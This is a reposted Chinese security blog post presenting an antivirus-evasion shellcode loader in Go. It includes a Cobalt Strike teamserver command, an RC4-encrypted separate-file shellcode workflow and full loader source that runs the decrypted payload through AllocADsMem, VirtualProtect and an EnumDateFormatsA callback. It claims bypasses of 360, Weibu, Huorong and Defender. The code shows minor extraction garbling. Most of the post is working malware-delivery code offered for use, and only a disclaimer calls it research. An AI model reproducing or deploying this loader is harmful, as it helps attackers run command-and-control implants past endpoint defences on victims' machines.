免杀loader1加载器(文件分离版)

admin 2025年6月10日02:00:34评论18 views字数 2199阅读7分19秒阅读模式

一,先放结果

还是老规矩吧,先放结果

1.bypass360和360云查杀

免杀loader1加载器(文件分离版)
免杀loader1加载器(文件分离版)

2.bypass微步(这里没上传过了360那个马,所以是1/24)

免杀loader1加载器(文件分离版)

3.bypass火绒

免杀loader1加载器(文件分离版)

删9个,留一个测试内存查杀

免杀loader1加载器(文件分离版)

defender的没有截图到,但是没有关系,我们先跟着流程做一遍,然后进行测试。

还是先启动我的cs吧

./teamserver 192.168.70.129 yawataa CS4.9-10010.profile 
免杀loader1加载器(文件分离版)

申请有阶段无阶段的都可以,只是有阶段的更容易编译

免杀loader1加载器(文件分离版)

raw原生的代码格式

免杀loader1加载器(文件分离版)

然后又是我们之前的一套流程了(上一篇文章)

先sgn加密->rc4加密->放入loader->批量编译和隐藏黑框。

这样我们使用rc4.py那个脚本进行加密后会生成一个sc.txt就是我们的sc文件

免杀loader1加载器(文件分离版)

下面我们开始测试一下吧,能正常上线,然后就是批量fuzz编译参数和隐藏黑框了

免杀loader1加载器(文件分离版)

做好了,简单测试一下

免杀loader1加载器(文件分离版)

简单测试

现在测试时间是 2025年5月28日 白天1点34分

微步0查杀

免杀loader1加载器(文件分离版)

bypass360

依然能过

免杀loader1加载器(文件分离版)

火绒和defender就不测试了,包能过的,这样就不水文章了

免杀loader1加载器(文件分离版)

load1(文件分离版代码)

package mainimport ("crypto/rc4""golang.org/x/sys/windows""io/ioutil""log""strconv""strings""unsafe")funcmain() {// 1. 读取文件内容content, err := ioutil.ReadFile("sc.txt")if err != nil {log.Fatal(err)}str := string(content)start := strings.Index(str, "[]byte{")end := strings.Index(str, "}")if start == -1 || end == -1 || end < start {log.Fatal("未找到字节数组定义")}byteStr := str[start+7 : end]var sc []bytefor _, s := range strings.FieldsFunc(byteStr, func(r rune) bool {return r == ',' || r == 'n' || r == 'r' || r == 't'}) {s = strings.TrimSpace(s)if s == "" {continue}val, _ := strconv.ParseUint(s, 08)sc = append(sc, byte(val))}kernel32_yawataa := windows.NewLazyDLL("kernel32.dll")// 2.获取windows apiActiveds := windows.NewLazyDLL("Activeds.dll")AllocADsMem_yawataa := Activeds.NewProc("AllocADsMem")VirtualProtect := kernel32_yawataa.NewProc("VirtualProtect")EnumDateFormatsA_yawataa := kernel32_yawataa.NewProc("EnumDateFormatsA")RtlCopyMemory := kernel32_yawataa.NewProc("RtlCopyMemory")key := []byte("a3cb2tg1y!@#")cp, _ := rc4.NewCipher(key)// 解密Shellcodedecrypted := make([]bytelen(sc))cp.XORKeyStream(decrypted, sc)addr, _, _ := AllocADsMem_yawataa.Call(uintptr(len(decrypted)))RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decrypted[0])), uintptr(len(decrypted)))oldProtect := 0x40VirtualProtect.Call(addr, uintptr(len(decrypted)), 0x40uintptr(unsafe.Pointer(&oldProtect)))EnumDateFormatsA_yawataa.Call(addr, 00)// 7.关闭 DLL}

浅谈

其实加载器的工作原理大概就是 申请内存->讲sc放入内存中->让内存进行执行,而简单的免杀,其实就是围绕在shellcode的处理和Windows api的选择shellcode的处理我们都知道有那些方式,比如:aes加密,rc4加密,异或,sgn加密,文件分离,网络分离等

而windows api 则选择具体相同效果的函数,这样杀软还没有增加到特征库里面,就比如我这次的load1代码

申请内存的代码是 AllocADsMem() 这个Windows api

AllocADsMem() 是 Windows API 中与 Active Directory Service Interfaces (ADSI) 相关的一个内存管理函数,主要用于在 ADSI 编程中分配内存,实现的效果是一样的。

原文始发于微信公众号(七芒星实验室):免杀loader1加载器(文件分离版)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月10日02:00:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀loader1加载器(文件分离版)https://cn-sec.com/archives/4148401.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息